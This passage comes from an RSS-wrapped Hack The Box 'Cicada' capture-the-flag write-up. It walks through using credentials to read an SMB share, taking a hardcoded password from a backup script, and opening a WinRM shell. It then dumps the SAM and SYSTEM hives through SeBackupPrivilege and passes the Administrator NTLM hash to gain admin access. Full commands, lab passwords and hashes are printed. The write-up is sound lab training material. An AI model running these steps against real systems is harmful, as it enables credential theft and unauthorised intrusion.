&lt;li&gt;Since &lt;code&gt;michael.wrightson&lt;/code&gt; uses the default password, explore what access this account has (e.g., file shares, group memberships).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3.Check for Privilege Escalation Opportunities:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If &lt;code&gt;david.orelious&lt;/code&gt; or&lt;code&gt;michael.wrightson&lt;/code&gt; has elevated privileges, use their credentials to escalate access.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Accessing the DEV Share as &lt;code&gt;david.orelious&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;After successfully obtaining the password &lt;code&gt;aRt$Lp#7t*VQ!3&lt;/code&gt; for the account &lt;code&gt;david.orelious&lt;/code&gt;, I decided to explore the SMB shares on the target machine. While the &lt;code&gt;HR&lt;/code&gt; share was accessible anonymously, I used the credentials for david.orelious to access the &lt;code&gt;DEV&lt;/code&gt; share. The following command was executed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smbclient //10.10.11.35/DEV -U david.orelious
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Contents of the DEV Share:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smb: \&amp;gt; ls
  .                                   D        0  Thu Mar 14 08:31:39 2024
  ..                                  D        0  Thu Mar 14 08:21:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 13:28:22 2024

                4168447 blocks of size 4096. 433661 blocks available

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Retrieving the Backup Script&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;DEV&lt;/code&gt; share contained a PowerShell script named &lt;code&gt;Backup_script.ps1&lt;/code&gt;. I downloaded the file using the &lt;code&gt;get&lt;/code&gt; command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smb: \&amp;gt; get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Analyzing the Backup Script&lt;/strong&gt;&lt;br&gt;
The contents of &lt;code&gt;Backup_script.ps1&lt;/code&gt; were as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key Findings&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;1.Hardcoded Credentials:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The script contains hardcoded credentials for the user &lt;code&gt;emily.oscars&lt;/code&gt;:
Username: &lt;code&gt;emily.oscars&lt;/code&gt;
Password: &lt;code&gt;Q!3@Lp#M6b*7t*Vt&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2.Backup Process:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The script is designed to create a backup of the &lt;code&gt;C:\smb&lt;/code&gt; directory and save it to &lt;code&gt;D:\Backup&lt;/code&gt; as a &lt;code&gt;.zip&lt;/code&gt; file.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Observations&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1.Security Misconfiguration:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Hardcoding credentials in scripts is a significant security risk, as it exposes sensitive information to anyone with access to the script.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The password &lt;code&gt;Q!3@Lp#M6b*7t*Vt&lt;/code&gt; could be reused elsewhere, making it a potential attack vector.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2.Potential Privilege Escalation:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If the &lt;code&gt;emily.oscars&lt;/code&gt; account has elevated privileges, these credentials could be used to escalate access on the target machine.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Next Steps&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1.Test the Credentials for &lt;code&gt;emily.oscars&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use the credentials &lt;code&gt;emily.oscars:Q!3@Lp#M6b*7t*Vt&lt;/code&gt; to attempt authentication across services like SMB, WinRM, and Kerberos.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2.Explore Access for &lt;code&gt;emily.oscars&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If the credentials are valid, enumerate the privileges and access associated with the emily.oscars account.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3.Investigate Backup Directories:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Check the &lt;code&gt;C:\smb&lt;/code&gt; and &lt;code&gt;D:\Backup&lt;/code&gt; directories for any sensitive files or information that could aid in further exploitation.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Gaining Access via WinRM
&lt;/h2&gt;

&lt;p&gt;Using the credentials &lt;code&gt;emily.oscars:Q!3@Lp#M6b*7t*Vt&lt;/code&gt; obtained from the &lt;code&gt;Backup_script.ps1&lt;/code&gt; file, I attempted to authenticate via WinRM (Windows Remote Management) using &lt;code&gt;evil-winrm&lt;/code&gt;. The following command was executed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;evil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Successful Access:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can find the user flag by yourself okay?&lt;/p&gt;

&lt;h2&gt;
  
  
  Privilege Escalation
&lt;/h2&gt;

&lt;p&gt;When assessing the privileges of the user &lt;code&gt;emily.oscars&lt;/code&gt; on the target system, we can use the &lt;code&gt;whoami /priv&lt;/code&gt; command to determine whether any elevated privileges are available for exploitation. In this case, the following privileges were identified:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents&amp;gt; whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Analysis of Privileges&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;1.SeBackupPrivilege:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Allows the user to back up files and directories, bypassing file permissions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;This privilege can be used to access sensitive files, such as the SAM and SYSTEM registry hives, which store password hashes.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2.SeRestorePrivilege:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Allows the user to restore files and directories, bypassing file permissions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;This privilege can be used to overwrite system files or inject malicious code.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3.Other Privileges:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;While &lt;code&gt;SeShutdownPrivilege&lt;/code&gt;, &lt;code&gt;SeChangeNotifyPrivilege&lt;/code&gt;, and &lt;code&gt;SeIncreaseWorkingSetPrivilege&lt;/code&gt; are enabled, they are less useful for privilege escalation in this context.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Leveraging &lt;code&gt;SeBackupPrivilege&lt;/code&gt; and &lt;code&gt;SeRestorePrivilege&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With &lt;code&gt;SeBackupPrivilege&lt;/code&gt; and &lt;code&gt;SeRestorePrivilege&lt;/code&gt; enabled, I decided to escalate privileges by extracting the SAM and SYSTEM registry hives. These hives contain password hashes for local accounts, which can be cracked or used for lateral movement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Copy the SAM and SYSTEM Registry Hives&lt;/strong&gt;&lt;br&gt;
Using the reg save command, I saved the SAM and SYSTEM hives to a writable directory (&lt;code&gt;C:\Temp&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2: Download the Hives to the Attacker Machine&lt;/strong&gt;&lt;br&gt;
Using &lt;code&gt;evil-winrm&lt;/code&gt;, I downloaded the SAM and SYSTEM files to my local machine for further analysis:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;download C:\Temp\SAM
download C:\Temp\SYSTEM
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3: Extract NTLM Hashes Using &lt;a href="https://github.com/fortra/impacket/blob/master/examples/secretsdump.py" rel="noopener noreferrer"&gt;secretsdump.py&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
To extract NTLM hashes, we use the secretsdump.py script from the Impacket toolkit. Before running the script, we set up a virtual environment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 -m venv ~/impacket-venv
source ~/impacket-venv/bin/activate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, we run &lt;code&gt;secretsdump.py&lt;/code&gt; to extract the hashes from the dumped registry files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python ~/impacket-venv/bin/secretsdump.py -sam /home/kali/SAM -system /home/kali/SYSTEM LOCAL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 4: Extracted NTLM Hashes&lt;/strong&gt;&lt;br&gt;
The script outputs NTLM hashes, including the Administrator hash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key Findings&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1.Administrator NTLM Hash:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The NTLM hash for the &lt;code&gt;Administrator&lt;/code&gt; account was successfully extracted:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2b87e7c93a3e8a0ea4a581937016f341
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2.Other Accounts:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hashes for the &lt;code&gt;Guest&lt;/code&gt; and &lt;code&gt;DefaultAccount&lt;/code&gt; were also extracted, but these accounts are typically less useful for privilege escalation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Gaining Administrator Access&lt;/strong&gt;&lt;br&gt;
With the Administrator NTLM hash, I used &lt;code&gt;evil-winrm&lt;/code&gt; to authenticate as the &lt;code&gt;Administrator&lt;/code&gt; account and gain high-privilege access to the target machine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command Executed:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;evil-winrm -i 10.10.11.35 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Successful Access:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents&amp;gt; whoami
cicada\administrator
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This write-up documents my journey through the Cicada machine on Hack The Box, from initial reconnaissance to privilege escalation. I hope this detailed explanation provides valuable insights into the techniques and tools used during the process. If you found this guide helpful, I encourage you to share it with friends and fellow enthusiasts who might benefit from it.&lt;/p&gt;

&lt;p&gt;Your feedback is greatly appreciated! If you have any questions, suggestions, or additional tips, feel free to reach out. Happy hacking!&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>writeup</category>
      <category>windowpentest</category>
      <category>hacking</category>
    </item>
  </channel>
</rss>
